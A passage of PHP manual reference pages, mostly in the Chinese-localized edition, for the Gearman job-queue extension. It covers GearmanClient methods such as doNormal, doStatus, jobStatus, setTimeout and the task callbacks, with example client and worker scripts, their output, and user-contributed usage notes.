$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
return strrev($job->workload());
}

?>

以上示例的输出类似于：

Starting
Sending job
Success: !olleH

Example #2 Submitting a job and retrieving incremental status

A job is submitted and the script loops to retrieve status information. The worker has an artificial delay which results in a long running job and sends status and data as processing occurs. Each subsequent call to GearmanClient::doNormal() produces status information on the running job.

<?php

# Client code

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
$result = $gmclient->doNormal("reverse", "Hello!");
# Check for various return packets and errors.

switch($gmclient->returnCode())
{
case GEARMAN_WORK_DATA:
echo "Data: $result\n";
break;
case GEARMAN_WORK_STATUS:
list($numerator, $denominator)= $gmclient->doStatus();
echo "Status: $numerator/$denominator complete\n";
break;
case GEARMAN_WORK_FAIL:
echo "Failed\n";
exit;
case GEARMAN_SUCCESS:
break;
default:
echo "RET: " . $gmclient->returnCode() . "\n";
echo "Error: " . $gmclient->error() . "\n";
echo "Errno: " . $gmclient->getErrno() . "\n";
exit;
}
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>
<?php

# Worker code

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# This status loop is not needed, just showing how it works
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " + $x + 1 . "/$workload_size complete\n";
$job->sendStatus($x+1, $workload_size);
$job->sendData(substr($workload, $x, 1));
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Return what we want to send back to the client.
return $result;
}

?>

以上示例的输出类似于：

Worker output:

Starting
Waiting for job...
Received job: H:foo.local:106
Workload: Hello! (6)
1/6 complete
2/6 complete
3/6 complete
4/6 complete
5/6 complete
6/6 complete
Result: !olleH

Client output:

Starting
Sending job
Status: 1/6 complete
Data: H
Status: 2/6 complete
Data: e
Status: 3/6 complete
Data: l
Status: 4/6 complete
Data: l
Status: 5/6 complete
Data: o
Status: 6/6 complete
Data: !
Success: !olleH

参见

  • GearmanClient::doHigh() - Run a single high priority task
  • GearmanClient::doLow() - Run a single low priority task
  • GearmanClient::doBackground() - Run a task in the background
  • GearmanClient::doHighBackground() - Run a high priority task in the background
  • GearmanClient::doLowBackground() - Run a low priority task in the background

User Contributed Notes

stanislav dot reshetnev at gmail dot com 05-Nov-2014 12:13
doNormal don't work in version php_gearman 0.8.3:

PHP Fatal error:  Call to undefined method GearmanClient::doNormal()

But it exist in version 1.1.2.
fastest963 at gmail dot com 12-Jan-2013 02:19
do() or doNormal() will block until the job is accepted by the worker. Looping is only necessary if you care about the response from the job. Use setTimeout() to control how long PHP will block.

If it does timeout, it throws a PHP Warning:
PHP Warning:  GearmanClient::do(): _client_do(GEARMAN_TIMEOUT) occured during gearman_client_run_tasks() -> libgearman/client.cc:174


Get the status for the running task

  • ? GearmanClient::doNormal
  • GearmanClient::echo ?
  • PHP Manual
  • GearmanClient
  • Get the status for the running task

GearmanClient::doStatus

(PECL gearman >= 0.5.0)

GearmanClient::doStatus — Get the status for the running task

说明

public GearmanClient::doStatus(): array

Returns the status for the running task. This should be used between repeated GearmanClient::doNormal() calls.

参数

此函数没有参数。

返回值

An array representing the percentage completion given as a fraction, with the first element the numerator and the second element the denomintor.

示例

Example #1 Get the status of a long running job

The worker in this example has an artificial delay added during processing of the string to be reversed. After each delay it calls GearmanJob::status() which the client then picks up.

<?php

echo "Starting\n";

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
$result = $gmclient->doNormal("reverse", "Hello!");

# Check for various return packets and errors.
switch($gmclient->returnCode())
{
case GEARMAN_WORK_DATA:
break;
case GEARMAN_WORK_STATUS:
# get the current job status
list($numerator, $denominator)= $gmclient->doStatus();
echo "Status: $numerator/$denominator complete\n";
break;
case GEARMAN_WORK_FAIL:
echo "Failed\n";
exit;
case GEARMAN_SUCCESS:
break;
default:
echo "RET: " . $gmclient->returnCode() . "\n";
exit;
}
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

echo "Success: $result\n";

?>

以上示例的输出类似于：

Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

参见

  • GearmanClient::doNormal() - Run a single task and return a result
  • GearmanJob::status() - Send status (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Send data to all job servers to see if they echo it back [deprecated]

  • ? GearmanClient::doStatus
  • GearmanClient::error ?
  • PHP Manual
  • GearmanClient
  • Send data to all job servers to see if they echo it back [deprecated]

GearmanClient::echo

(PECL gearman >= 0.5.0)

GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]

说明

public GearmanClient::echo(string $workload): bool

The GearmanClient::echo() method is deprecated as of pecl/gearman 1.0.0. Use GearmanClient::ping().

参数

workload

Some arbitrary serialized data to be echo back

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Returns an error string for the last error encountered

  • ? GearmanClient::echo
  • GearmanClient::getErrno ?
  • PHP Manual
  • GearmanClient
  • Returns an error string for the last error encountered

GearmanClient::error

(PECL gearman >= 0.5.0)

GearmanClient::error — Returns an error string for the last error encountered

说明

public GearmanClient::error(): string|false

Returns an error string for the last error encountered.

参数

此函数没有参数。

返回值

A human readable error string, or false if there is no error message available.

参见

  • GearmanClient::getErrno() - Get an errno value

User Contributed Notes

There are no user contributed notes for this page.


Get an errno value

  • ? GearmanClient::error
  • GearmanClient::jobStatus ?
  • PHP Manual
  • GearmanClient
  • Get an errno value

GearmanClient::getErrno

(PECL gearman >= 0.5.0)

GearmanClient::getErrno — Get an errno value

说明

public GearmanClient::getErrno(): int

Value of errno in the case of a GEARMAN_ERRNO return value.

参数

此函数没有参数。

返回值

A valid Gearman errno.

参见

  • GearmanClient::error() - Returns an error string for the last error encountered

User Contributed Notes

There are no user contributed notes for this page.


Get the status of a background job

  • ? GearmanClient::getErrno
  • GearmanClient::ping ?
  • PHP Manual
  • GearmanClient
  • Get the status of a background job

GearmanClient::jobStatus

gearman_job_status

(PECL gearman >= 0.5.0)

GearmanClient::jobStatus -- gearman_job_status — Get the status of a background job

说明

面向对象风格 (method):

public GearmanClient::jobStatus(string $job_handle): array

Gets the status for a background job given a job handle. The status information will specify whether the job is known, whether the job is currently running, and the percentage completion.

参数

job_handle

由 Gearman 服务器指派的工作句柄。

返回值

An array containing status information for the job corresponding to the supplied job handle. The first array element is a boolean indicating whether the job is even known, the second is a boolean indicating whether the job is still running, and the third and fourth elements correspond to the numerator and denominator of the fractional completion percentage, respectively.

示例

Example #1 Monitor the status of a long running background job

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* run reverse client */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
echo "bad return code\n";
exit;
}

$done = false;
do
{
sleep(3);
$stat = $gmclient->jobStatus($job_handle);
if (!$stat[0]) // the job is known so it is not done
$done = true;
echo "Running: " . ($stat[1] ? "true" : "false") . ", numerator: " . $stat[2] . ", denomintor: " . $stat[3] . "\n";
}
while(!$done);

echo "done!\n";

?>

以上示例的输出类似于：

Running: true, numerator: 3, denomintor: 14
Running: true, numerator: 6, denomintor: 14
Running: true, numerator: 9, denomintor: 14
Running: true, numerator: 12, denomintor: 14
Running: false, numerator: 0, denomintor: 0
done!

参见

  • GearmanClient::doStatus() - Get the status for the running task

User Contributed Notes

richard@anon 30-May-2017 06:42
@Jan

if (!$stat[0]) // the job is known so it is not done

I believe to be correct. I read it as, if $stat[0] returns anything but false, the job is currently running, so we are not done. However, if we cannot find $stat[0] (ie: the job handle no longer exists) then the job is done.

--Richard
bot at boxconnect dot org 28-Jul-2015 08:41
The example above reads:
if (!$stat[0]) // the job is known so it is not done

I think the comment is wrong, it should read "the job is unknown, so it is done".
Regards,
Jan


Send data to all job servers to see if they echo it back

  • ? GearmanClient::jobStatus
  • GearmanClient::removeOptions ?
  • PHP Manual
  • GearmanClient
  • Send data to all job servers to see if they echo it back

GearmanClient::ping

(No version information available, might only be in Git)

GearmanClient::ping — Send data to all job servers to see if they echo it back

说明

public GearmanClient::ping(string $workload): bool

Sends some arbitrary data to all job servers to see if they echo it back. The data sent is not used or processed in any other way. Primarily used for testing and debugging.

参数

workload

Some arbitrary serialized data to be echo back

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 06:53
If you want to test all job servers you can use the following code:

<?php
// Create our client object
$client= new GearmanClient();

// Add available and unavailable servers
$client->addServers('127.0.0.1:4730,127.0.0.2:4731');

// Test all job servers
$success = @$client->ping('data testing');
if (!$success) {
    die('Error: ' . $client->error());
}

// Sending job
echo $client->doNormal('reverse', 'Hello World!');
?>


Remove client options

  • ? GearmanClient::ping
  • GearmanClient::returnCode ?
  • PHP Manual
  • GearmanClient
  • Remove client options

GearmanClient::removeOptions

(PECL gearman >= 0.6.0)

GearmanClient::removeOptions — Remove client options

说明

public GearmanClient::removeOptions(int $option): bool

Removes (unsets) one or more options.

参数

option

The options to be removed (unset)

返回值

Always returns true.

User Contributed Notes

goran dot v dot miskovic at gmail dot com 08-Sep-2012 09:15
To remove several options at once use pipe separated list.
<?php
$client = new GearmanClient();
$client->addOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS | GEARMAN_CLIENT_UNBUFFERED_RESULT);
$client->removeOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS);
?>


Get the last Gearman return code

  • ? GearmanClient::removeOptions
  • GearmanClient::runTasks ?
  • PHP Manual
  • GearmanClient
  • Get the last Gearman return code

GearmanClient::returnCode

(PECL gearman >= 0.5.0)

GearmanClient::returnCode — Get the last Gearman return code

说明

public GearmanClient::returnCode(): int

Returns the last Gearman return code.

参数

此函数没有参数。

返回值

A valid Gearman return code.

User Contributed Notes

casper at bcx dot nl 31-Aug-2017 07:55
GEARMAN_TIMEOUT is returned when a timeout is set with  ->setTimeout()
stanislav dot reshetnev at gmail dot com 05-Nov-2014 11:10
Valid return codes are:

GEARMAN_SUCCESS
GEARMAN_PAUSE
GEARMAN_IO_WAIT
GEARMAN_WORK_STATUS
GEARMAN_WORK_DATA
GEARMAN_WORK_EXCEPTION
GEARMAN_WORK_WARNING
GEARMAN_WORK_FAIL

Given from php_gearman.c version 0.8.3.


Run a list of tasks in parallel

  • ? GearmanClient::returnCode
  • GearmanClient::setClientCallback ?
  • PHP Manual
  • GearmanClient
  • Run a list of tasks in parallel

GearmanClient::runTasks

(PECL gearman >= 0.5.0)

GearmanClient::runTasks — Run a list of tasks in parallel

说明

public GearmanClient::runTasks(): bool

For a set of tasks previously added with GearmanClient::addTask(), GearmanClient::addTaskHigh(), GearmanClient::addTaskLow(), GearmanClient::addTaskBackground(), GearmanClient::addTaskHighBackground(), or GearmanClient::addTaskLowBackground(), this call starts running the tasks in parallel.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


Callback function when there is a data packet for a task (deprecated)

  • ? GearmanClient::runTasks
  • GearmanClient::setCompleteCallback ?
  • PHP Manual
  • GearmanClient
  • Callback function when there is a data packet for a task (deprecated)

GearmanClient::setClientCallback

(PECL gearman <= 0.5.0)

GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)

说明

public GearmanClient::setClientCallback(callable $callback): void

Sets the callback function for accepting data packets for a task. The callback function should take a single argument, a GearmanTask object.

Note:

This method has been replaced by GearmanClient::setDataCallback() in the 0.6.0 release of the Gearman extension.

参数

callback

A function or method to call

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a function to be called on task completion

  • ? GearmanClient::setClientCallback
  • GearmanClient::setContext ?
  • PHP Manual
  • GearmanClient
  • Set a function to be called on task completion

GearmanClient::setCompleteCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCompleteCallback — Set a function to be called on task completion

说明

public GearmanClient::setCompleteCallback(callable $function): bool

Use to set a function to be called when a GearmanTask is completed, or when GearmanJob::sendComplete() is invoked by a worker (whichever happens first).

This callback executes only when executing a GearmanTask using GearmanClient::runTasks(). It is not used for individual jobs.

参数

function

A function to be called

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

Justas Butkus 18-Aug-2011 06:59
One shall note, that callback function MUST either return a valid Gearman status code, or return nothing (do not return).

I.e. these are valid complete callbacks:

<?php
function goodCallbackOne(GearmanTask $task)
{
    print_r($task);
}
?>

<?php
function goodCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return GEARMAN_SUCCESS;
}
?>

While following is NOT, unless you want your client code to fail with Gearman error 'german wait:no active file descriptors':

<?php
function badCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return true;
}
?>


Set application context

  • ? GearmanClient::setCompleteCallback
  • GearmanClient::setCreatedCallback ?
  • PHP Manual
  • GearmanClient
  • Set application context

GearmanClient::setContext

(PECL gearman >= 0.6.0)

GearmanClient::setContext — Set application context

说明

public GearmanClient::setContext(string $data): bool

Sets an arbitrary string to provide application context that can later be retrieved by GearmanClient::context().

参数

data

Arbitrary context data

返回值

Always returns true.

参见

  • GearmanClient::context() - Get the application context

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for when a task is queued

  • ? GearmanClient::setContext
  • GearmanClient::setData ?
  • PHP Manual
  • GearmanClient
  • Set a callback for when a task is queued

GearmanClient::setCreatedCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCreatedCallback — Set a callback for when a task is queued

说明

public GearmanClient::setCreatedCallback(callable $function): bool

Sets a function to be called when a task is received and queued by the Gearman job server. The callback should accept a single argument, a GearmanTask object.

参数

function

A function to call

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

stanislav dot reshetnev at gmail dot com 30-Oct-2014 04:07
Callback can accept not only GearmanTask object, but it can recieve a variable from GearmanClient::addTask():

<?php
$client = new GearmanClient();
$client->addServer();

$client->setCreatedCallback(function(GearmanTask $task, $some_info) {
  // now we have $some_info
  // ...
});

$client->addTask($function_name, $workload, "some info");
?>

So, we can send to our anonymous function something like $workload, because we can't get it from GearmanTask object. It may be usefull for logging of tasks queuing.
Karl Rixon 20-Oct-2014 02:57
Contrary to the documentation, this callback accepts an instance of \GearmanTask, not \GearmanClient.


Set application data (deprecated)

  • ? GearmanClient::setCreatedCallback
  • GearmanClient::setDataCallback ?
  • PHP Manual
  • GearmanClient
  • Set application data (deprecated)

GearmanClient::setData

(PECL gearman <= 0.5.0)

GearmanClient::setData — Set application data (deprecated)

说明

public GearmanClient::setData(string $data): bool

Sets some arbitrary application data that can later be retrieved by GearmanClient::data().

Note:

This method has been replaced by GearmanCient::setContext() in the 0.6.0 release of the Gearman extension.

参数

data

返回值

Always returns true.

参见

  • GearmanClient::data() - Get the application data (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Callback function when there is a data packet for a task

  • ? GearmanClient::setData
  • GearmanClient::setExceptionCallback ?
  • PHP Manual
  • GearmanClient
  • Callback function when there is a data packet for a task

GearmanClient::setDataCallback

(PECL gearman >= 0.6.0)

GearmanClient::setDataCallback — Callback function when there is a data packet for a task

说明

public GearmanClient::setDataCallback(callable $function): bool

Sets the callback function for accepting data packets for a task. The callback function should take a single argument, a GearmanTask object.

参数

function

A function or method to call

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for worker exceptions

  • ? GearmanClient::setDataCallback
  • GearmanClient::setFailCallback ?
  • PHP Manual
  • GearmanClient
  • Set a callback for worker exceptions

GearmanClient::setExceptionCallback

(PECL gearman >= 0.5.0)

GearmanClient::setExceptionCallback — Set a callback for worker exceptions

说明

public GearmanClient::setExceptionCallback(callable $function): bool

Specifies a function to call when a worker for a task sends an exception.

参数

function

Function to call when the worker throws an exception

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set callback for job failure

  • ? GearmanClient::setExceptionCallback
  • GearmanClient::setOptions ?
  • PHP Manual
  • GearmanClient
  • Set callback for job failure

GearmanClient::setFailCallback

(PECL gearman >= 0.5.0)

GearmanClient::setFailCallback — Set callback for job failure

说明

public GearmanClient::setFailCallback(callable $function): bool

Sets the callback function to be used when a task does not complete successfully. The function should accept a single argument, a GearmanTask object.

参数

function

A function to call

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set client options

  • ? GearmanClient::setFailCallback
  • GearmanClient::setStatusCallback ?
  • PHP Manual
  • GearmanClient
  • Set client options

GearmanClient::setOptions

(PECL gearman >= 0.5.0)

GearmanClient::setOptions — Set client options

说明

public GearmanClient::setOptions(int $option): bool

Sets one or more client options.

参数

option

The options to be set

返回值

Always returns true.

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for collecting task status

  • ? GearmanClient::setOptions
  • GearmanClient::setTimeout ?
  • PHP Manual
  • GearmanClient
  • Set a callback for collecting task status

GearmanClient::setStatusCallback

(PECL gearman >= 0.5.0)

GearmanClient::setStatusCallback — Set a callback for collecting task status

说明

public GearmanClient::setStatusCallback(callable $function): bool

Sets a callback function used for getting updated status information from a worker. The function should accept a single argument, a GearmanTask object.

参数

function

A function to call

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set socket I/O activity timeout

  • ? GearmanClient::setStatusCallback
  • GearmanClient::setWarningCallback ?
  • PHP Manual
  • GearmanClient
  • Set socket I/O activity timeout

GearmanClient::setTimeout

(PECL gearman >= 0.6.0)

GearmanClient::setTimeout — Set socket I/O activity timeout

说明

public GearmanClient::setTimeout(int $timeout): bool

Sets the timeout for socket I/O activity.

参数

timeout

An interval of time in milliseconds

返回值

Always returns true.

User Contributed Notes

luckyboy449 at yahoo dot com 11-Jul-2019 09:22
Note that GEARMAN_TIMEOUT is mostly triggered when you use a callback with the addTask() and addTaskBackground() methods. If the Gearman server is not able to answer under high volume of jobs  about the status of the current job, the client will certainly throw a GEARMAN_TIMEOUT error.

The safest way to escape this error is using the doBackground() method especially when you are not interested to find the status of the job (failed or completed) and that should be a rule when you are sending high volume of jobs to the server.
casper at bcx dot nl 31-Aug-2017 08:00
If a timeout is set with this method, and a timeout occurred, calling ->returnCode() will return GEARMAN_TIMEOUT

Beware that a timeout of for example a doBackground() call does not mean the job did not start. It's very possible the job got submitted and started but the gearmand server was not able to communicate that information back to you.
Ismael Cristal Jr 06-Oct-2012 02:54
GearmanClient has a default timeout of -1 you need to set this to a positive number using setTimeout to avoid cases where your script waits forever to run a job even if there are no workers running at all.


Set a callback for worker warnings

  • ? GearmanClient::setTimeout
  • GearmanClient::setWorkloadCallback ?
  • PHP Manual
  • GearmanClient
  • Set a callback for worker warnings

GearmanClient::setWarningCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWarningCallback — Set a callback for worker warnings

说明

public GearmanClient::setWarningCallback(callable $function): bool

Sets a function to be called when a worker sends a warning. The callback should accept a single argument, a GearmanTask object.

参数

function

A function to call

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for accepting incremental data updates

  • ? GearmanClient::setWarningCallback
  • GearmanClient::timeout ?
  • PHP Manual
  • GearmanClient
  • Set a callback for accepting incremental data updates

GearmanClient::setWorkloadCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates

说明

public GearmanClient::setWorkloadCallback(callable $function): bool

Sets a function to be called when a worker needs to send back data prior to job completion. A worker can do this when it needs to send updates, send partial results, or flush data during long running jobs. The callback should accept a single argument, a GearmanTask object.

参数

function

A function to call

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings

User Contributed Notes

There are no user contributed notes for this page.


Get current socket I/O activity timeout value

  • ? GearmanClient::setWorkloadCallback
  • GearmanClient::wait ?
  • PHP Manual
  • GearmanClient
  • Get current socket I/O activity timeout value

GearmanClient::timeout

(PECL gearman >= 0.6.0)

GearmanClient::timeout — Get current socket I/O activity timeout value

说明

public GearmanClient::timeout(): int

Returns the timeout in milliseconds to wait for I/O activity.

参数

此函数没有参数。

返回值

Timeout in milliseconds to wait for I/O activity. A negative value means an infinite timeout.

参见

  • GearmanClient::setTimeout() - Set socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


Wait for I/O activity on all connections in a client

  • ? GearmanClient::timeout
  • GearmanJob ?
  • PHP Manual
  • GearmanClient
  • Wait for I/O activity on all connections in a client

GearmanClient::wait

(PECL gearman >= 0.6.0)

GearmanClient::wait — Wait for I/O activity on all connections in a client

说明

public GearmanClient::wait(): bool

This waits for activity from any one of the connected servers.

参数

此函数没有参数。

返回值

true on success false on an error.

参见

  • GearmanWorker::wait() - Wait for activity from one of the job servers

User Contributed Notes

There are no user contributed notes for this page.


The GearmanJob class

(PECL gearman >= 0.5.0)

简介

类摘要

class GearmanJob {
/* 方法 */
public functionName(): false|string
public handle(): false|string
public returnCode(): int
public sendComplete(string $result): bool
public sendData(string $data): bool
public sendException(string $exception): bool
public sendFail(): bool
public sendStatus(int $numerator, int $denominator): bool
public sendWarning(string $warning): bool
public setReturn(int $gearman_return_t): bool
public unique(): false|string
public workload(): string
public workloadSize(): int
}

Table of Contents

  • GearmanJob::complete — Send the result and complete status (deprecated)
  • GearmanJob::__construct — Create a GearmanJob instance
  • GearmanJob::data — Send data for a running job (deprecated)
  • GearmanJob::exception — Send exception for running job (deprecated)
  • GearmanJob::fail — Send fail status (deprecated)
  • GearmanJob::functionName — Get function name
  • GearmanJob::handle — Get the job handle
  • GearmanJob::returnCode — Get last return code
  • GearmanJob::sendComplete — Send the result and complete status
  • GearmanJob::sendData — Send data for a running job
  • GearmanJob::sendException — Send exception for running job (exception)
  • GearmanJob::sendFail — Send fail status
  • GearmanJob::sendStatus — Send status
  • GearmanJob::sendWarning — Send a warning
  • GearmanJob::setReturn — Set a return value
  • GearmanJob::status — Send status (deprecated)
  • GearmanJob::unique — Get the unique identifier
  • GearmanJob::warning — Send a warning (deprecated)
  • GearmanJob::workload — Get workload
  • GearmanJob::workloadSize — Get size of work load

User Contributed Notes

There are no user contributed notes for this page.


Send the result and complete status (deprecated)

  • ? GearmanJob
  • GearmanJob::__construct ?
  • PHP Manual
  • GearmanJob
  • Send the result and complete status (deprecated)

GearmanJob::complete

(PECL gearman <= 0.5.0)

GearmanJob::complete — Send the result and complete status (deprecated)

说明

public GearmanJob::complete(string $result): bool

Sends result data and the complete status update for this job.

Note:

This method has been replaced by GearmanJob::sendComplete() in the 0.6.0 release of the Gearman extension.

参数

result

Serialized result data.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::sendFail() - Send fail status
  • GearmanJob::setReturn() - Set a return value

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanJob instance

  • ? GearmanJob::complete
  • GearmanJob::data ?
  • PHP Manual
  • GearmanJob
  • Create a GearmanJob instance

GearmanJob::__construct

(PECL gearman >= 0.5.0)

GearmanJob::__construct — Create a GearmanJob instance

说明

public GearmanJob::__construct()

Creates a GearmanJob instance representing a job the worker is to complete.

参数

此函数没有参数。

返回值

A GearmanJob object.

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 08:35
Usually you will not need to create a GearmanJob object. The GearmanJob instance will be passed to a registered function with the job server when GearmanWorker::addFunction is used:

<?php
// create the worker
$worker= new GearmanWorker();

// add the default job server (localhost)
$worker->addServer('127.0.0.1', 4730);

// define a variable to hold application data
$count = 0;

// add the reverse function
$worker->addFunction('reverse', 'my_reverse_function', $count);

// start the worker listening for job submissions
while ($worker->work());

function my_reverse_function(GearmanJob $job, &$count)
{
    $count++;

    return $count . ': ' . strrev($job->workload()) . "\n";
}
?>


Send data for a running job (deprecated)

  • ? GearmanJob::__construct
  • GearmanJob::exception ?
  • PHP Manual
  • GearmanJob
  • Send data for a running job (deprecated)

GearmanJob::data

(PECL gearman <= 0.5.0)

GearmanJob::data — Send data for a running job (deprecated)

说明

public GearmanJob::data(string $data): bool

Sends data to the job server (and any listening clients) for this job.

Note:

This method has been replaced by GearmanJob::sendData() in the 0.6.0 release of the Gearman extension.

参数

data

Arbitrary serialized data.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • GearmanJob::workload() - Get workload
  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.


Send exception for running job (deprecated)

  • ? GearmanJob::data
  • GearmanJob::fail ?
  • PHP Manual
  • GearmanJob
  • Send exception for running job (deprecated)

GearmanJob::exception

(PECL gearman <= 0.5.0)

GearmanJob::exception — Send exception for running job (deprecated)

说明

public GearmanJob::exception(string $exception): bool

Sends the supplied exception when this job is running.

Note:

